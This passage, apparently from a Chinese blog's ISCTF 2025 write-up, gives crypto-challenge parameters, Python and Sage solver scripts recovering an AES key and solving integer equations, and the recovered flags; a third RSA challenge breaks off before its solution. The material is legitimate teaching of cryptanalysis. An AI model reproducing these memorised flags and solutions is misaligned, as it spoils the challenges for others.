class=\"wp-block-list\">\n<li>\u672a\u77e5\u90e8\u5206<code>a2_low<\/code>\u53ea\u670916\u4f4d\uff0c\u537365,536\u79cd\u53ef\u80fd<\/li>\n\n\n\n<li>\u73b0\u4ee3\u8ba1\u7b97\u673a\u53ef\u4ee5\u5728\u6570\u79d2\u5185\u5b8c\u6210\u679a\u4e3e<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><br><p><strong>\u6709\u6548\u4f30\u8ba1m\u7684\u503c<\/strong>:<\/p><br><ul><br><li>\u5148\u8ba1\u7b97<code>m0<\/code>\u4f5c\u4e3a<code>c<\/code>\u7684\u7acb\u65b9\u6839\u4f5c\u4e3a\u521d\u59cb\u4f30\u8ba1<\/li><br><li>\u4f7f\u7528\u725b\u987f\u8fed\u4ee3\u6cd5\/\u6cf0\u52d2\u5c55\u5f00\u4f18\u5316\u4f30\u8ba1: <code>delta \u2248 (c - m0^3 - a2*m0^2 - a1*m0 - a0) \/ (3*m0^2 + 2*a2*m0 + a1)<\/code><\/li><br><li>\u83b7\u5f97<code>m = m0 + delta<\/code>\uff0c\u5e76\u9a8c\u8bc1\u662f\u5426\u6ee1\u8db3\u539f\u59cb\u65b9\u7a0b<\/li><br><\/ul><br><p>py3\u89e3\u9898\u811a\u672c<\/p><br><\/li>\n<\/ol>\n\n\n\n<pre class=\"wp-block-code\"><code>import json\nfrom Crypto.Util.number import long_to_bytes\nfrom Crypto.Cipher import AES\nfrom Crypto.Util.Padding import unpad\nfrom gmpy2 import iroot\n\n# \u4eceoutput.txt\u83b7\u53d6\u7684\u53c2\u6570\nN = 121288600621198389662246479277632294800423697823363188896668775456771641807233781416525282234787873435904747571468452950479817935684848143651716343606633656969395065588423982440884464542428742861388200306417822228591316703916504170245990423925894477848679490979364923848426643149659758241239900845544537886777\nc = 3756824985347508967549776773725045773059311839370527149219720084008312247164501688241698562854942756369420003479117\na2_high = 9012778\nLOW_BITS = 16\na1 = 621315\na0 = 452775142\niv = bytes.fromhex(\"bf38e64bb5c1b069a07b7d1d046a9010\")\nct = bytes.fromhex(\"8966006c4724faf53883b56a1a8a08ee17b1535e1657c16b3b129ee2d2e389744c943014eb774cd24a5d0f7ad140276fdec72eb985b6de67b8e4674b0bcdc4a5\")\n\n# \u7531\u4e8em\u662f128\u4f4d\uff0cm^3\u7ea6384\u4f4d\uff0c\u800cN\u662f1024\u4f4d\uff0c\u6240\u4ee5\u6781\u5927\u6982\u7387c = m^3 + a2*m^2 + a1*m + a0\n# \u8ba1\u7b97m\u7684\u521d\u59cb\u4f30\u8ba1\u503c\uff08\u7acb\u65b9\u6839\uff09\nm0, _ = iroot(c, 3)\nm0 = int(m0)\nprint(f\"\u521d\u59cb\u4f30\u8ba1m0: {m0}\")\n\n# \u66b4\u529b\u679a\u4e3ea2_low\uff0816\u4f4d\uff09\nfor a2_low in range(1 &lt;&lt; LOW_BITS):\n    a2 = (a2_high &lt;&lt; LOW_BITS) + a2_low\n\n    # \u4f7f\u7528\u6cf0\u52d2\u5c55\u5f00\u4f30\u8ba1delta\n    # f(m) = m^3 + a2*m^2 + a1*m + a0 - c\n    # f'(m) = 3m^2 + 2*a2*m + a1\n    numerator = m0**3 + a2*m0**2 + a1*m0 + a0 - c\n    denominator = 3*m0**2 + 2*a2*m0 + a1\n\n    if denominator == 0:\n        continue\n\n    # \u8ba1\u7b97\u4fee\u6b63\u503c\n    delta = -numerator \/\/ denominator\n    m = m0 + delta\n\n    # \u9a8c\u8bc1m\u662f\u5426\u5728\u5408\u7406\u8303\u56f4\u5185\uff08128\u4f4d\uff09\n    if m &lt; 0 or m.bit_length() &gt; 128:\n        continue\n\n    # \u9a8c\u8bc1\u662f\u5426\u6ee1\u8db3\u539f\u59cb\u65b9\u7a0b\n    if (m**3 + a2*m**2 + a1*m + a0) % N == c:\n        print(f\"\u627e\u5230\u6b63\u786e\u7684a2_low: {a2_low}\")\n        print(f\"\u5b8c\u6574\u7684a2: {a2}\")\n        print(f\"\u8ba1\u7b97\u5f97\u5230\u7684m: {m}\")\n        print(f\"m\u7684\u5341\u516d\u8fdb\u5236: {hex(m)}\")\n\n        # \u5c06m\u8f6c\u6362\u4e3a16\u5b57\u8282\u7684AES\u5bc6\u94a5\n        aes_key = long_to_bytes(m)\n        print(f\"AES\u5bc6\u94a5: {aes_key.hex()}\")\n\n        # \u89e3\u5bc6flag\n        cipher = AES.new(aes_key, AES.MODE_CBC, iv=iv)\n        flag = unpad(cipher.decrypt(ct), 16)\n        print(f\"Flag: {flag.decode()}\")\n        break\nelse:\n    print(\"\u672a\u627e\u5230\u6709\u6548\u89e3\")<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u9898\u76ee\u4f7f\u7528\u4e86\u4e00\u4e2a\u4e09\u6b21\u591a\u9879\u5f0f\u5bf9AES\u5bc6\u94a5\u8fdb\u884c\u52a0\u5bc6<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6838\u5fc3\u6311\u6218\u662f\u6062\u590d\u539f\u59cb\u7684128\u4f4dAES\u5bc6\u94a5<code>m<\/code><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u901a\u8fc7\u68c0\u67e5\u53c2\u6570\u5927\u5c0f\uff0c\u786e\u8ba4\u52a0\u5bc6\u8fc7\u7a0b\u4e2d\u6ca1\u6709\u53d1\u751f\u6a21N\u6298\u8fd4<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u5efa\u7acb\u6570\u5b66\u6a21\u578b<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u5c06\u95ee\u9898\u8f6c\u5316\u4e3a\u6c42\u89e3\u4e09\u6b21\u65b9\u7a0b: <code>m^3 + a2*m^2 + a1*m + a0 = c<\/code><\/li>\n\n\n\n<li>\u7531\u4e8e<code>a2<\/code>\u7684\u4f4e\u4f4d16\u4f4d\u672a\u77e5\uff0c\u9700\u8981\u66b4\u529b\u679a\u4e3e<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u4f18\u5316\u6c42\u89e3\u8fc7\u7a0b<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u5148\u8ba1\u7b97<code>m0 = c^(1\/3)<\/code>\u4f5c\u4e3a\u521d\u59cb\u4f30\u8ba1<\/li>\n\n\n\n<li>\u4f7f\u7528\u725b\u987f\u8fed\u4ee3\u6cd5\u5feb\u901f\u903c\u8fd1\u771f\u5b9e\u503c<\/li>\n\n\n\n<li>\u8be5\u65b9\u6cd5\u5728\u627e\u5230\u6b63\u786e<code>a2_low<\/code>\u65f6\u4f1a\u5f97\u5230\u51c6\u786e\u7684\u6574\u6570\u89e3<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u9a8c\u8bc1\u4e0e\u89e3\u5bc6<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u5f53<code>a2_low=10219<\/code>\u65f6\uff0c\u6210\u529f\u5f97\u5230\u6709\u6548\u7684<code>m<\/code><\/li>\n\n\n\n<li>\u5c06<code>m<\/code>\u8f6c\u6362\u4e3a16\u5b57\u8282AES\u5bc6\u94a5<\/li>\n\n\n\n<li>\u4f7f\u7528CBC\u6a21\u5f0f\u548c\u5df2\u77e5IV\u89e3\u5bc6\u5bc6\u6587<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-102-1024x526.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"526\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-102-1024x526.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1667\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>ISCTF{i7_533M5_Lik3_You_R34lLy_UNd3R574nd_Polinomials_4nD_RSA}<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">baby_equation<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u9898\u76ee\u52a0\u5bc6\u6e90\u7801\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from Crypto.Util.number import *\nfrom secret import a,b\nflag = b'ISCTF{***********}'\nc = bytes_to_long(flag)\n\n4*b**6-2*a**3+3*a*c = 5530346600323339885232820545798418499625132786869393636420197124606005490078041505765918120769293936395609675704197197479866186297686468133906640256390919799453701894382992223127374374212586492263661287287954143417128958298503464448\nb**5+6*c**3+2*a*b*c = 3672387566481634932632147073162736684768502472691316672641810915658843009888927691356318999678786606498949603828582004040213248582239696135245956482586942861911170423611833986217506435186606622181418065496949887722886999596999114757792357\n3*a**3-3*a*c-3*b**6 = -5530346600323339885232820545798418499625132786869393636420197035566805062064534503704976756468319888650441668826363984844327206056424439752726283862026042410921197396370839233560708886006884569969932749615838070243922866371345910111\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u52a0\u5bc6\u8fc7\u7a0b<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u8bbe\u5b9a\u79d8\u5bc6\u53c2\u6570<\/strong>\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><br><p>\u968f\u673a\u9009\u62e9\u4e24\u4e2a\u5927\u6574\u6570 <code>a<\/code> \u548c <code>b<\/code>\uff08\u5728 <code>secret.py<\/code> \u4e2d\uff09\u3002<\/p><br><\/li>\n\n\n\n<li><br><p>\u8bbe\u5b9a flag \u4e3a <code>b'ISCTF{...}'<\/code>\uff0c\u5e76\u5c06\u5176\u8f6c\u6362\u4e3a\u6574\u6570\uff1a<\/p><br><pre><code>c = bytes_to_long(flag)<\/code><\/pre><br><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u6784\u9020\u4e09\u4e2a\u516c\u5f00\u65b9\u7a0b<\/strong>\uff08\u5c06 <code>(a, b, c)<\/code> \u4ee3\u5165\uff09\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u65b9\u7a0b 1<\/strong>\uff1a<br><code>4*b\u2076 - 2*a\u00b3 + 3*a*c = M<\/code><\/li>\n\n\n\n<li><strong>\u65b9\u7a0b 2<\/strong>\uff1a<br><code>b\u2075 + 6*c\u00b3 + 2*a*b*c = N<\/code><\/li>\n\n\n\n<li><strong>\u65b9\u7a0b 3<\/strong>\uff1a<br><code>3*a\u00b3 - 3*a*c - 3*b\u2076 = P<\/code><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u516c\u5e03 <code>(M, N, P)<\/code><\/strong>\uff0c\u9690\u85cf <code>a, b, c<\/code>\uff08\u5373\u9690\u85cf flag\uff09\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u65e0\u6a21\u6570\u3001\u7eaf\u6574\u6570\u4ee3\u6570\u65b9\u7a0b<\/strong>\uff0c\u901a\u8fc7\u4e09\u4e2a\u975e\u7ebf\u6027\u65b9\u7a0b\u9690\u85cf <code>c<\/code>\uff08\u5373 flag\uff09\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">sagemath\u89e3\u5bc6\u4ee3\u7801\u5448\u73b0:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\n# This file was *autogenerated* from the file \/cygdrive\/f\/\u7b14\u8bb0\/\u6bd4\u8d5b\u7b14\u8bb0\/ISCTF2025\/Crypto\/baby_equation\/jie.sage\nfrom sage.all_cmdline import *   # import sage library\n\n_sage_const_5530346600323339885232820545798418499625132786869393636420197124606005490078041505765918120769293936395609675704197197479866186297686468133906640256390919799453701894382992223127374374212586492263661287287954143417128958298503464448 = Integer(5530346600323339885232820545798418499625132786869393636420197124606005490078041505765918120769293936395609675704197197479866186297686468133906640256390919799453701894382992223127374374212586492263661287287954143417128958298503464448); _sage_const_3672387566481634932632147073162736684768502472691316672641810915658843009888927691356318999678786606498949603828582004040213248582239696135245956482586942861911170423611833986217506435186606622181418065496949887722886999596999114757792357 = Integer(3672387566481634932632147073162736684768502472691316672641810915658843009888927691356318999678786606498949603828582004040213248582239696135245956482586942861911170423611833986217506435186606622181418065496949887722886999596999114757792357); _sage_const_5530346600323339885232820545798418499625132786869393636420197035566805062064534503704976756468319888650441668826363984844327206056424439752726283862026042410921197396370839233560708886006884569969932749615838070243922866371345910111 = Integer(5530346600323339885232820545798418499625132786869393636420197035566805062064534503704976756468319888650441668826363984844327206056424439752726283862026042410921197396370839233560708886006884569969932749615838070243922866371345910111); _sage_const_3 = Integer(3); _sage_const_0 = Integer(0); _sage_const_3133713317731333 = Integer(3133713317731333); _sage_const_1 = Integer(1); _sage_const_4 = Integer(4); _sage_const_2 = Integer(2); _sage_const_6 = Integer(6); _sage_const_5 = Integer(5)\nfrom Crypto.Util.number import long_to_bytes\n\nM = _sage_const_5530346600323339885232820545798418499625132786869393636420197124606005490078041505765918120769293936395609675704197197479866186297686468133906640256390919799453701894382992223127374374212586492263661287287954143417128958298503464448 \nN = _sage_const_3672387566481634932632147073162736684768502472691316672641810915658843009888927691356318999678786606498949603828582004040213248582239696135245956482586942861911170423611833986217506435186606622181418065496949887722886999596999114757792357 \nP = -_sage_const_5530346600323339885232820545798418499625132786869393636420197035566805062064534503704976756468319888650441668826363984844327206056424439752726283862026042410921197396370839233560708886006884569969932749615838070243922866371345910111 \n\n# \u8ba1\u7b97 K = M + P\nK = M + P\nprint(\"K =\", K)\n\n# \u68c0\u67e5 P \u662f\u5426\u80fd\u88ab 3 \u6574\u9664\nif P % _sage_const_3  != _sage_const_0 :\n    print(\"P \u4e0d\u80fd\u88ab 3 \u6574\u9664\uff0c\u65e0\u6574\u6570\u89e3\u3002\")\nelse:\n    P3 = P \/\/ _sage_const_3 \n    print(\"P3 =\", P3)\n\n# K \u7684\u56e0\u5b50\u5206\u89e3\uff08\u5df2\u77e5\uff09\np = _sage_const_3133713317731333 \nq = K \/\/ p\nprint(\"p =\", p)\nprint(\"q =\", q)\nassert K == p * q\n\n# \u679a\u4e3e K \u7684\u56e0\u5b50\uff08\u5305\u62ec\u8d1f\u56e0\u5b50\uff09\ndivisors = &#91;_sage_const_1 , p, q, K, -_sage_const_1 , -p, -q, -K]\nfound = False\n\nfor d in divisors:\n    if d == _sage_const_0 :\n        continue\n    e = K \/ d\n    if not e.is_integer():\n        continue\n    e = Integer(e)\n    # \u8ba1\u7b97\u5224\u522b\u5f0f Delta = 3*(4*e - d^2)\n    Delta = _sage_const_3  * (_sage_const_4 *e - d**_sage_const_2 )\n    if Delta &lt; _sage_const_0 :\n        continue\n    if not Delta.is_square():\n        continue\n    sqrt_Delta = sqrt(Delta)\n    # \u89e3 X = (3*d \u00b1 sqrt_Delta) \/ 6\n    for sign in &#91;_sage_const_1 , -_sage_const_1 ]:\n        numerator = _sage_const_3 *d + sign * sqrt_Delta\n        if numerator % _sage_const_6  != _sage_const_0 :\n            continue\n        X = numerator \/\/ _sage_const_6 \n        Y = d - X  # Y = b^2\n        if Y &lt;= _sage_const_0 :\n            continue\n        if not Y.is_square():\n            continue\n        b_sq = Y\n        b = sqrt(b_sq)\n        b = Integer(b)\n        a = X\n        # \u9a8c\u8bc1 a^3 + b^6 == K\n        if a**_sage_const_3  + b**_sage_const_6  != K:\n            continue\n        # \u8ba1\u7b97 c\n        numerator_c = a**_sage_const_3  - b**_sage_const_6  - P3\n        if numerator_c % a != _sage_const_0 :\n            continue\n        c = numerator_c \/\/ a\n        # \u9a8c\u8bc1\u65b9\u7a0b (2)\n        if b**_sage_const_5  + _sage_const_6 *c**_sage_const_3  + _sage_const_2 *a*b*c == N:\n            print(\"\u627e\u5230\u89e3\uff1a\")\n            print(\"a =\", a)\n            print(\"b =\", b)\n            print(\"c =\", c)\n            flag = long_to_bytes(c)\n            print(\"flag =\", flag)\n            found = True\n            break\n    if found:\n        break\n\nif not found:\n    print(\"\u672a\u627e\u5230\u89e3\u3002\")\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u539f\u59cb\u89e3\u5bc6\u4ee3\u7801\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from Crypto.Util.number import long_to_bytes\n\nM = 5530346600323339885232820545798418499625132786869393636420197124606005490078041505765918120769293936395609675704197197479866186297686468133906640256390919799453701894382992223127374374212586492263661287287954143417128958298503464448\nN = 3672387566481634932632147073162736684768502472691316672641810915658843009888927691356318999678786606498949603828582004040213248582239696135245956482586942861911170423611833986217506435186606622181418065496949887722886999596999114757792357\nP = -5530346600323339885232820545798418499625132786869393636420197035566805062064534503704976756468319888650441668826363984844327206056424439752726283862026042410921197396370839233560708886006884569969932749615838070243922866371345910111\n\n# \u8ba1\u7b97 K = M + P\nK = M + P\nprint(\"K =\", K)\n\n# \u68c0\u67e5 P \u662f\u5426\u80fd\u88ab 3 \u6574\u9664\nif P % 3 != 0:\n    print(\"P \u4e0d\u80fd\u88ab 3 \u6574\u9664\uff0c\u65e0\u6574\u6570\u89e3\u3002\")\nelse:\n    P3 = P \/\/ 3\n    print(\"P3 =\", P3)\n\n# K \u7684\u56e0\u5b50\u5206\u89e3\uff08\u5df2\u77e5\uff09\np = 3133713317731333\nq = K \/\/ p\nprint(\"p =\", p)\nprint(\"q =\", q)\nassert K == p * q\n\n# \u679a\u4e3e K \u7684\u56e0\u5b50\uff08\u5305\u62ec\u8d1f\u56e0\u5b50\uff09\ndivisors = &#91;1, p, q, K, -1, -p, -q, -K]\nfound = False\n\nfor d in divisors:\n    if d == 0:\n        continue\n    e = K \/ d\n    if not e.is_integer():\n        continue\n    e = Integer(e)\n    # \u8ba1\u7b97\u5224\u522b\u5f0f Delta = 3*(4*e - d^2)\n    Delta = 3 * (4*e - d^2)\n    if Delta &lt; 0:\n        continue\n    if not Delta.is_square():\n        continue\n    sqrt_Delta = sqrt(Delta)\n    # \u89e3 X = (3*d \u00b1 sqrt_Delta) \/ 6\n    for sign in &#91;1, -1]:\n        numerator = 3*d + sign * sqrt_Delta\n        if numerator % 6 != 0:\n            continue\n        X = numerator \/\/ 6\n        Y = d - X  # Y = b^2\n        if Y &lt;= 0:\n            continue\n        if not Y.is_square():\n            continue\n        b_sq = Y\n        b = sqrt(b_sq)\n        b = Integer(b)\n        a = X\n        # \u9a8c\u8bc1 a^3 + b^6 == K\n        if a^3 + b^6 != K:\n            continue\n        # \u8ba1\u7b97 c\n        numerator_c = a^3 - b^6 - P3\n        if numerator_c % a != 0:\n            continue\n        c = numerator_c \/\/ a\n        # \u9a8c\u8bc1\u65b9\u7a0b (2)\n        if b^5 + 6*c^3 + 2*a*b*c == N:\n            print(\"\u627e\u5230\u89e3\uff1a\")\n            print(\"a =\", a)\n            print(\"b =\", b)\n            print(\"c =\", c)\n            flag = long_to_bytes(c)\n            print(\"flag =\", flag)\n            found = True\n            break\n    if found:\n        break\n\nif not found:\n    print(\"\u672a\u627e\u5230\u89e3\u3002\")<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u6d88\u5143\u5f97 K = a\u00b3 + b\u2076<\/strong><br>\u5c06\u7b2c\u4e00\u4e2a\u548c\u7b2c\u4e09\u4e2a\u65b9\u7a0b\u76f8\u52a0\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>(4b\u2076 - 2a\u00b3 + 3ac) + (3a\u00b3 - 3ac - 3b\u2076) = M + P\n\u21d2 a\u00b3 + b\u2076 = K<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>K \u5df2\u77e5\u4e14\u53ef\u5206\u89e3<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>K = M + P = p * q\np = 3133713317731333  # \u5c0f\u56e0\u5b50\uff0c\u76f4\u63a5\u7ed9\u51fa\u6216 easy factor\nq = K \/\/ p<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u679a\u4e3e K \u7684\u56e0\u5b50 d = a + b\u00b2<\/strong><br>\u56e0\u4e3a a\u00b3 + b\u2076 = (a + b\u00b2)(a\u00b2 &#8211; a b\u00b2 + b\u2074)\uff0c\u6240\u4ee5 d | K\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u679a\u4e3e d \u2208 {\u00b11, \u00b1p, \u00b1q, \u00b1K}<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u5bf9\u6bcf\u4e2a d\uff0c\u89e3 a \u548c b<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u4ee4 e = K \/ d<\/li>\n\n\n\n<li>\u5224\u522b\u5f0f \u0394 = 3*(4e &#8211; d\u00b2) \u5fc5\u987b \u22650 \u4e14\u4e3a\u5b8c\u5168\u5e73\u65b9<\/li>\n\n\n\n<li>\u89e3\u5f97 a = (3d \u00b1 \u221a\u0394) \/ 6\uff0c\u5fc5\u987b\u4e3a\u6574\u6570<\/li>\n\n\n\n<li>b\u00b2 = d &#8211; a\uff0c\u5fc5\u987b &gt;0 \u4e14\u4e3a\u5e73\u65b9\u6570 \u2192 \u5f97 b<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u7528\u7b2c\u4e09\u4e2a\u65b9\u7a0b\u6c42 c<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>3a\u00b3 - 3ac - 3b\u2076 = P  \u21d2  c = (a\u00b3 - b\u2076 - P\/3) \/ a<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u7528\u7b2c\u4e8c\u4e2a\u65b9\u7a0b\u9a8c\u8bc1 (a,b,c)<\/strong><br>\u68c0\u67e5\u662f\u5426\u6ee1\u8db3 <code>b\u2075 + 6c\u00b3 + 2abc == N<\/code><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u82e5\u9a8c\u8bc1\u901a\u8fc7 \u2192 flag = long_to_bytes(c)<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-103.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"640\" height=\"434\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-103.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1668\"  sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>ISCTF{y0u_93t_7h3_3qu4710n_50lv3}<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">\u5c0f\u84dd\u9ca8\u7684\u8d39\u9a6c\u8c1c\u9898<\/h3>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-104.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"599\" height=\"644\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-104.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1669\"  sizes=\"auto, (max-width: 599px) 100vw, 599px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">output.txt<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>n = 16926747183730811445521182287631871095235807124637325096660759361996155369993998745638293862726267741890840654094794027600177564948819372030933079291097084177091863985749240756085243654442374722882507015343515827787141307909182820013354070321738405810257107651857739607060274549412692517140259717346170524920540888050323066988108836911975466603073034433831887208978130406742714302940264702874305095602623379177353873347208751721068498690917932776984190598143704567665475161453335629659200748786648288309401513856740323455946901312988841290917666732077747457081355853722832166331501779601157719722291598787710746917947\ne = 65537\nc = 7135669888508993283998887257526185813831780208680788333332044930342125381561919830084088631920301623909949443002073193381401761901398826719665411432016217400457613545308262831975564456231165114091904748808206330488231569773162745696602366468753664188261933014198218922459715972876740957260132243927549037840265753282534565674280908439875550179801788711737901632349136780584007599655055605772651127003711138512998683145763743839326460319440186099818507078433271291685194944254795690424327192625258701835654639832285402990995662846426561789508331799972329711410217802657682842382105869446853207634070295959281375484933\n\nHints (format: base1, base2, hint_value):\nHint 1: 11, 41, 403072318395713195475880235840306655046644537786837658466183670390322357403650602210882802453171853452\nHint 2: 73, 7, 3401877351823051464833008106697922874740843547186522246399577691648145322938787488999079423405760696040635223407580102549819096176975820017380148265275786281647240647714533261221890310813882987089721138616513427711006945061727486708277298401545762448776593105730005387022319319199166969225690343981500127626848336242187816071435842118963634505746771844269484845077330851526393327015758760003053231670737896550596266539249975891234238005583184203089180325261872944167834576158878843510707348603774425827560724587546720860765943393963597645881666559247252842017499263265738255716811999328445725902262302532911214255949\nHint 3: 59, 73, 695583691945177012011155613294846891840015729899504980764916686517371703553347581254163445300367305365949600797847620946823894152274689248119430670857791635723385692575931740078475490085973951317953049329486264578815530286784178680687403627415153526425715193114420845091853572366108176759184115038228886689580295865909953096284457818874267153151571968297454864850732608316298813594124020007025412733770104355236849081247730461956131749267446455113813284775308663385548094921945410215359273656658830019785099633226412843434625002115741084636776823289994271249660745143685585443820708578849162449717982725541307852715\nHint 4: 53, 17, 971645701575323882519635342913625889703399294086\nHint 5: 17, 53, 15015015166119321293244100074414416277924832658329700344653519929879563546652512240571777007009139132526751717913688831473249036114283479537249767699902565862566840754892319936718933957878788242522102884592375092063435348463420495622162622111752797419564087812071877456034189172928466087325995711799494559632348117577986369270044265839851198529901138826760234172452522279821372814789053868333623123766583799003287221335420456780264904184548645200345715153696373219687248029519611142514212181449677795769427641367964609639782220743835161725500332507591502818244881229659746207461229056486960160782643424330243354078694\nHint 6: 59, 19, 4427802296687944448870952484227318\nHint 7: 19, 43, 19174465169354813231681320402781559275699092043658101294284851123118510716279410\nHint 8: 23, 31, 6031706827842456717715236244872427215835819411314168938820265741988730625387931647610750902952789928566569174296650515449892611198040938188209413722806254050103019879240215344570043498312370280623702924998835728624935413985841142180365335178468710734638030582183503463305813229510689954065159041592316788178873050291779739508108222965509434291492950189742558594400755699777715854046635146464467729949201239668741264832027750549876625288984575624485894153879412247669943493660233937543961086506015000295606199222800612415043850877838520358081044378561877650595040905680464898635661677396546195369907960492865630959945\nHint 9: 73, 31, 14201978515584496685882877364621713654579319459919970854066889531106363038011334520524797899491133943665135480301300406440254472658620428164578914318059588912647092994632856690\nHint 10: 31, 3, 17761887753093897979823770061456102763834352\nHint 11: 13, 5, 4150700388609705807509972385476068337626559497757356803399419065000783917890225153250286903799441660433187538279583874523190497602462150199426414868861228792088666515397312761673326022980940385774334828394940770351447957541072690963220641780722897399543555486513918873014494692941882646929202605685305683969151271831603708612223260616432695010847067252877343217676963276876850265407927146383572955861063428706012170676831524971272198283920333900403902257748241220365118645448662797961778388544299359695919130547938351588261698392641490575786350259413542725944665834486513968924860904668074607650304874723425230270137\nHint 12: 59, 53, 2093308535564899860358544644764036388478107502010763064242342417957960952425000274395405300689532194265342136032111944045432326085818281844400947666782274940461183395046865284971635536544260910022728631047126094710543502860882170401987674931187922422766222327719930375318976698721098197543008758760603140658147997152753438270623866111022164350986375651437321309108736011279113592001916870502347116720151257306071411569096876275005515839079136440506703094781753301521917670413306257490297241974169467740732230454155267623129991881695623072243477621355484939295049508367225410929080326109567111654067945546042372106278\nHint 13: 11, 89, 